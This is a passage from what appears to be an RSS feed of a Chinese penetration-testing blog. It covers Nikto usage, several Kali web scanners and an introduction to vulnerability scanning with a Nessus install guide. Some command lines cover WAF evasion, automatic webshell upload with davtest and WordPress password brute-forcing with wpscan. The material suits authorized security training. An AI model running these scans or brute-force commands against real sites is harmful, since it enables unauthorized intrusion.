 &lt;td&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;自选目录分隔符（&lt;code&gt;/&lt;/code&gt;→&lt;code&gt;/./&lt;/code&gt;）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;伪造请求结尾（&lt;code&gt;%20HTTP/1.0&lt;/code&gt;）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="-实战输出解析示例"&gt;📊 ​&lt;strong&gt;​实战输出解析示例​&lt;/strong&gt;​
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;nikto -host http://www.megacorpone.com -T 2 -maxtime 120s
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728151219306.png"&gt;&lt;/p&gt;
&lt;p&gt;​
&lt;strong&gt;​关键结果解读​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;1. **服务器信息**：Apache/2.4.62 (Debian) 
2. **高危漏洞**：缺失防点击劫持头(X-Frame-Options) 
3. **中危漏洞**：未设置内容类型头(X-Content-Type-Options) 
4. **敏感泄露**：robots.txt暴露可访问文件`/nanites.php` 
5. **信息泄露**：ETag头可能泄露文件指纹(CVE-2003-1418) 
6. **扫描中断**：120秒时限到期，未完成检测
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="-使用注意事项"&gt;⚠️ ​&lt;strong&gt;​使用注意事项​&lt;/strong&gt;​
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​隐蔽性问题​&lt;/strong&gt;​：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;扫描特征明显，企业环境可能触发告警&lt;/li&gt;
&lt;li&gt;建议在授权测试或外围资产扫描时使用&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​不验证漏洞可利用性​&lt;/strong&gt;​（需手动复现）&lt;/li&gt;
&lt;li&gt;无法检测业务逻辑漏洞（如越权支付）&lt;/li&gt;
&lt;li&gt;大型电商站点可能需数小时 → 务必用 &lt;code&gt;-maxtime&lt;/code&gt; 限时&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="-进阶组合技巧"&gt;🛠️ ​&lt;strong&gt;​进阶组合技巧​&lt;/strong&gt;​
&lt;/h4&gt;&lt;h5 id="场景快速排查学校官网风险"&gt;场景：快速排查学校官网风险
&lt;/h5&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 限时60秒，只查高危项，绕过基础WAF
nikto -host http://university.edu -maxtime 60s -T 0234 -evasion 13
&lt;/code&gt;&lt;/pre&gt;&lt;h5 id="场景与-curl-联动验证漏洞"&gt;场景：与 cURL 联动验证漏洞
&lt;/h5&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 1. Nikto发现可疑路径
[+] /backup.sql.gz found

# 2. 用cURL手动验证
curl -I http://target.com/backup.sql.gz
HTTP/1.1 200 OK # 确认文件可访问
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="-总结"&gt;💎 ​&lt;strong&gt;​总结​&lt;/strong&gt;​
&lt;/h4&gt;&lt;p&gt;​&lt;strong&gt;​适用场景​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;资产普查阶段的​&lt;strong&gt;​服务器风险初筛​&lt;/strong&gt;​&lt;/li&gt;
&lt;li&gt;合规性检查（如安全头部、版本生命周期）&lt;/li&gt;
&lt;li&gt;红蓝对抗中的​&lt;strong&gt;​外围打点侦查​&lt;/strong&gt;​&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;​&lt;strong&gt;​替代方案​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 需隐蔽扫描 → 使用 dirsearch + 随机UA 
# 需深度检测 → 结合 Burp Suite 手动测试 
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="kali中的其他网络漏洞扫描工具"&gt;Kali中的其他网络漏洞扫描工具
&lt;/h3&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728152811414.png"&gt;
根据您提供的图片信息，以下是对截图中的​&lt;strong&gt;​除Nikto外​&lt;/strong&gt;​的六个安全测试工具的介绍、用法及核心优势：&lt;/p&gt;
&lt;h4 id="1-davtest"&gt;​&lt;strong&gt;​1. davtest​&lt;/strong&gt;​
&lt;/h4&gt;&lt;p&gt;​&lt;strong&gt;​功能​&lt;/strong&gt;​：&lt;br&gt;
测试 WebDAV（基于HTTP的文件传输协议）服务器的配置安全性，探测其支持的方法（如PUT/DELETE）是否存在漏洞。&lt;br&gt;
​&lt;strong&gt;​基本用法​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;davtest -url http://target.com/webdav/
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;​&lt;strong&gt;​优势用法​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​自动上传恶意文件​&lt;/strong&gt;​：尝试上传WebShell（如.jsp/.php）测试执行权限。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​方法枚举​&lt;/strong&gt;​：用 &lt;code&gt;-move&lt;/code&gt; 和 &lt;code&gt;-sendbd auto&lt;/code&gt; 自动测试文件上传+移动漏洞。&lt;br&gt;
​&lt;strong&gt;​适用场景​&lt;/strong&gt;​：&lt;br&gt;
快速检测可写WebDAV目录和危险方法（如PUT）开放情况。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728162202242.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-nuclei"&gt;​&lt;strong&gt;​2. nuclei​&lt;/strong&gt;​
&lt;/h4&gt;&lt;p&gt;​&lt;strong&gt;​功能​&lt;/strong&gt;​：&lt;br&gt;
基于YAML模板的​&lt;strong&gt;​高速漏洞扫描​&lt;/strong&gt;​工具，社区提供数千预置模板（CVE检测、配置错误等）。&lt;br&gt;
​&lt;strong&gt;​基本用法​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nuclei -u http://target.com -t cves/ -severity critical
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;​&lt;strong&gt;​优势用法​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​批量目标扫描​&lt;/strong&gt;​：&lt;code&gt;nuclei -list urls.txt -t exposures/configs/&lt;/code&gt;（结合子域名枚举结果）。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​自定义模板​&lt;/strong&gt;​：快速编写YAML规则检测0day或内部系统漏洞。&lt;br&gt;
​&lt;strong&gt;​核心优势​&lt;/strong&gt;​：&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;​&lt;strong&gt;​海量模板+高并发​&lt;/strong&gt;​：单机每秒处理数百请求，适合全网段资产快速筛查。
==推荐模板全家桶仓库：==https://github.com/emadshanab/Nuclei-Templates-Collection/&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h4 id="3-skipfish"&gt;​&lt;strong&gt;​3. skipfish​&lt;/strong&gt;​
&lt;/h4&gt;&lt;p&gt;​&lt;strong&gt;​功能​&lt;/strong&gt;​：&lt;br&gt;
​&lt;strong&gt;​主动爬取式扫描器​&lt;/strong&gt;​，生成交互式报告，擅长检测注入、XSS等Web漏洞。&lt;br&gt;
​&lt;strong&gt;​基本用法​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;skipfish -o ./report http://target.com
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;​&lt;strong&gt;​优势用法​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​深度扫描​&lt;/strong&gt;​：&lt;code&gt;-I /api/&lt;/code&gt; 限定路径避免爬虫过载。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​误报调优​&lt;/strong&gt;​：用 &lt;code&gt;-l xss,exec&lt;/code&gt; 仅扫描高风险漏洞类型。&lt;br&gt;
​&lt;strong&gt;​核心优势​&lt;/strong&gt;​：&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;​&lt;strong&gt;​动态语法分析​&lt;/strong&gt;​：模拟执行JavaScript，优于静态爬虫（如dirb）。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728162438467.png"&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h4 id="4-wapiti"&gt;​&lt;strong&gt;​4. wapiti​&lt;/strong&gt;​
&lt;/h4&gt;&lt;p&gt;​&lt;strong&gt;​功能​&lt;/strong&gt;​：&lt;br&gt;
轻量级​&lt;strong&gt;​黑盒漏洞扫描器​&lt;/strong&gt;​，支持GET/POST参数测试（SQLi/XSS/命令注入等）。&lt;br&gt;
​&lt;strong&gt;​基本用法​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;wapiti -u http://target.com/ -f html -o report.html
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;​&lt;strong&gt;​优势用法​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​绕过WAF​&lt;/strong&gt;​：&lt;code&gt;--skip=&amp;quot;logout&amp;quot;&lt;/code&gt; 忽略登出链接维持会话。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​表单注入测试​&lt;/strong&gt;​：对登录框、搜索框自动注入Payload。&lt;br&gt;
​&lt;strong&gt;​适用场景​&lt;/strong&gt;​：&lt;br&gt;
快速验证常见Web漏洞，输出简洁报告供开发修复参考。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728162552137.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="5-whatweb"&gt;​&lt;strong&gt;​5. whatweb​&lt;/strong&gt;​
&lt;/h4&gt;&lt;p&gt;​&lt;strong&gt;​功能​&lt;/strong&gt;​：&lt;br&gt;
​&lt;strong&gt;​技术栈指纹识别​&lt;/strong&gt;​工具，通过HTTP响应识别CMS、框架、服务器等。&lt;br&gt;
​&lt;strong&gt;​基本用法​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;whatweb -v http://target.com
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;​&lt;strong&gt;​优势用法​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​批量识别​&lt;/strong&gt;​：&lt;code&gt;whatweb -i targets.txt --open-timeout=30&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​深度探测​&lt;/strong&gt;​：&lt;code&gt;--aggression=3&lt;/code&gt;（最大强度分析JS/Cookies等）。&lt;br&gt;
​&lt;strong&gt;​核心价值​&lt;/strong&gt;​：&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;10秒内识别目标技术栈（如WordPress 6.4.3 + PHP 8.2 + Nginx），为后续漏洞利用提供方向。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728163006688.png"&gt;&lt;/p&gt;
&lt;h4 id="6-wpscan"&gt;​&lt;strong&gt;​6. wpscan​&lt;/strong&gt;​
&lt;/h4&gt;&lt;p&gt;​&lt;strong&gt;​功能​&lt;/strong&gt;​：&lt;br&gt;
​&lt;strong&gt;​WordPress专项扫描器​&lt;/strong&gt;​，检测主题/插件漏洞、弱密码、配置错误等。&lt;br&gt;
​&lt;strong&gt;​基本用法​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;wpscan --url http://target.com
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;​&lt;strong&gt;​优势用法​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​暴力破解​&lt;/strong&gt;​：&lt;code&gt;--passwords /path/to/wordlist.txt&lt;/code&gt; 枚举后台账号。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​漏洞利用​&lt;/strong&gt;​：&lt;code&gt;--plugin vuln-slug --vulnerabilities&lt;/code&gt; 检测已知漏洞插件。&lt;br&gt;
​&lt;strong&gt;​核心优势​&lt;/strong&gt;​：&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;​&lt;strong&gt;​实时同步WP漏洞库​&lt;/strong&gt;​：精准识别超过54,000个插件/主题漏洞（需API key）。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="image-20250414110854937" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414110854937.png"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day22 Kali漏洞扫描</title><link>https://ruajingjing.top/post/day22-kali%E6%BC%8F%E6%B4%9E%E6%89%AB%E6%8F%8F/</link><pubDate>Fri, 25 Jul 2025 23:45:31 +0000</pubDate><guid>https://ruajingjing.top/post/day22-kali%E6%BC%8F%E6%B4%9E%E6%89%AB%E6%8F%8F/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day22 Kali漏洞扫描" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;对应OSCP官方教材第八章。&lt;/p&gt;
&lt;h2 id="漏洞扫描安全评估的自动化基石"&gt;&lt;strong&gt;漏洞扫描：安全评估的自动化基石&lt;/strong&gt;
&lt;/h2&gt;&lt;p&gt;漏洞扫描（简称“漏扫”），作为网络安全领域不可或缺的核心技术手段，贯穿于安全评估的始终。其本质是通过集成海量漏洞验证脚本（POC）与利用脚本（EXP），向目标系统发送特定探测请求，并根据返回响应特征自动化识别潜在安全弱点的过程。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心价值与定位：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;效率引擎：&lt;/strong&gt; 面对海量资产（如数十甚至上百个站点、服务器），手工检测效率低下且难以覆盖。漏扫工具凭借其自动化、批量化的特性，成为快速发现大面积、已知漏洞的首选武器，是安全审计流程中至关重要的第一步。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;风险探照灯：&lt;/strong&gt; 在复杂的网络环境中，“你永远不知道漏洞扫描会发生什么”。它是主动暴露未知风险、预防潜在攻击的有效途径。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;技术与场景融合：&lt;/strong&gt; 技术本身无高下之分，“黑猫白猫，抓到老鼠就是好猫”。自动化漏扫与精细化手工测试并非对立，而是互补。&lt;strong&gt;最佳实践是：先利用漏扫进行广覆盖、批量化的初步筛查，再对高风险目标或复杂逻辑进行深度手工验证，形成“广撒网+深挖潜”的高效组合拳。&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;工作原理与流程：&lt;/strong&gt;
一个典型的漏洞扫描流程包含以下关键步骤：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;主机发现：&lt;/strong&gt; 识别网络中存活的目标设备。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;端口扫描：&lt;/strong&gt; 探测目标设备开放的网络端口。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;指纹识别：&lt;/strong&gt; 基于服务响应（如Banner、协议行为、文件特征）判断操作系统、应用、服务及其版本（需注意版本伪装现象，如某些Tomcat版本统一返回相同头部）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;服务与行为分析：&lt;/strong&gt; 深入探测服务细节、暴露的文件、目录等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;漏洞特征匹配/利用验证：&lt;/strong&gt; 运用庞大的POC/EXP库进行探测。部分高级扫描会进行试探性攻击以降低误报（但需谨慎评估风险）。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="漏洞扫描核心总结"&gt;&lt;strong&gt;漏洞扫描核心总结&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-手动扫描与自动扫描的辩证关系"&gt;&lt;strong&gt;1. 手动扫描与自动扫描的辩证关系&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;维度&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;手动扫描&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;自动扫描&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;优势&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;精准发现逻辑漏洞；绕过防护机制；隐蔽性高（适合红队）；对目标干扰小&lt;/td&gt;
 &lt;td style="text-align: center"&gt;快速覆盖大规模目标；建立安全基准；标准化漏洞验证（如CVE匹配）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;劣势&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;效率极低（难以处理大型目标）；高度依赖经验；易遗漏重复性漏洞&lt;/td&gt;
 &lt;td style="text-align: center"&gt;高误报/漏报率；难以发现复杂业务逻辑漏洞；攻击特征明显易触发告警&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;适用场景&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;关键系统深度测试、红队隐蔽渗透、漏洞二次验证&lt;/td&gt;
 &lt;td style="text-align: center"&gt;初筛阶段、合规性检查、周期性安全巡检&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;结论&lt;/strong&gt;: 二者非对立关系，应遵循 &lt;strong&gt;“先自动化广覆盖，后手工精准打击”&lt;/strong&gt; 的策略。渗透测试的核心价值在于 &lt;strong&gt;超越工具的人工分析能力&lt;/strong&gt;。&lt;/p&gt;
&lt;h4 id="2-互联网扫描-vs-内网扫描的关键差异"&gt;&lt;strong&gt;2. 互联网扫描 vs. 内网扫描的关键差异&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;影响因素&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;互联网扫描&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;内网扫描&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;网络条件&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;带宽受限、高延迟、跳数多；防火墙/IPS严格过滤&lt;/td&gt;
 &lt;td style="text-align: center"&gt;高带宽、低延迟；内网设备可能老旧易崩溃&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;可见性&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;仅暴露面服务（ICMP/ARP常被阻断）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;全端口可见（可ARP发现主机）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;扫描策略&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;低速扫描（防触发警报）；优先非破坏性POC&lt;/td&gt;
 &lt;td style="text-align: center"&gt;可高速扫描；支持侵入式检测（需评估设备耐受性）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;操作要点&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;速度控制&lt;/strong&gt;：初始使用低速率扫描，验证结果质量后逐步提速。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;发现机制&lt;/strong&gt;：互联网目标需使用TCP SYN等替代ICMP/ARP。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;风险评估&lt;/strong&gt;：内网扫描警惕对老旧设备的DoS风险。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-认证扫描-vs-非认证扫描的深度对比"&gt;&lt;strong&gt;3. 认证扫描 vs. 非认证扫描的深度对比&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;层面&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;认证扫描&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;非认证扫描&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;原理&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;凭据登录系统（SSH/WMI），访问内部资源&lt;/td&gt;
 &lt;td style="text-align: center"&gt;纯网络发包探测，无系统权限&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;检测深度&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;补丁状态、注册表、配置文件、敏感文件（如Program Files）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;仅开放服务漏洞、Banner版本、弱口令等表层风险&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;准确性&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;误报率极低（直接验证漏洞存在性）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;误报率高（依赖版本特征猜测）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;配置挑战&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;Linux需SSH；Windows需破解UAC/WMI防火墙限制&lt;/td&gt;
 &lt;td style="text-align: center"&gt;开箱即用，无配置依赖&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;适用场景&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;认证扫描&lt;/strong&gt;：合规审计（如PCI DSS）、系统上线前深度检查。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;非认证扫描&lt;/strong&gt;：外部攻击面评估、应急响应快速筛查。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;: Windows环境需解决UAC限制，否则认证扫描可能失败。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;本章导读：&lt;/strong&gt;
本章将深入剖析漏洞扫描的技术原理、核心工作流程、主流工具（如Nessus, AWVS, Nmap, GVM等）的应用模式（重点探讨认证与非认证扫描的实施细节与场景选择），分析其优势与局限性（精度问题、版本识别挑战），并探讨如何有效评估扫描结果、管理误报/漏报，以及如何将自动化扫描与手工测试有机结合，构建高效、全面的安全评估体系。理解漏洞扫描的本质和最佳实践，是每一位安全从业者夯实基础、提升效率的关键一步。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="-nessus安装和使用"&gt;🛠️ Nessus安装和使用
&lt;/h2&gt;
 &lt;blockquote&gt;
 &lt;p&gt;官网下载链接：https://www.tenable.com/downloads/nessus?loginAttempted=true&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 1. 更新系统
sudo apt update &amp;amp;&amp;amp; sudo apt upgrade -y

# 2. 下载Nessus .deb包（官网获取最新URL）
wget https://www.tenable.com/downloads/api/v2/pages/nessus/files/&amp;lt;最新版本&amp;gt;.deb

# 3. 校验文件完整性（需与官网SHA256匹配）
sha256sum Nessus-*.deb

# 4. 安装
sudo dpkg -i Nessus-*.deb

# 5. 启动服务
sudo systemctl start nessusd

# 6. 访问控制台
https://localhost:8834
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;后续配置&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;选择 &lt;strong&gt;Nessus Essentials&lt;/strong&gt; → 填写邮箱获取激活码 → 创建本地管理员账户&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;首次初始化需1小时+&lt;/strong&gt;（自动下载13万+插件库）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250725124645851" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725124645851.png"&gt;&lt;/p&gt;
&lt;h3 id="扫描核心操作流程"&gt;&lt;strong&gt;扫描核心操作流程&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-新建扫描"&gt;&lt;strong&gt;1. 新建扫描&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;&lt;img alt="image-20250725124704503" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725124704503.png"&gt;&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;扫描类型&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;适用场景&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;关键配置&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;基本网络扫描&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;常规漏洞探测&lt;/td&gt;
 &lt;td&gt;默认设置（仅扫公共端口）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;认证补丁审核&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;内网深度检测&lt;/td&gt;
 &lt;td&gt;需填SSH/Windows凭据&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;高级扫描&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;自定义漏洞检测&lt;/td&gt;
 &lt;td&gt;可禁用插件/指定端口&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="2-目标配置"&gt;&lt;strong&gt;2. 目标配置&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
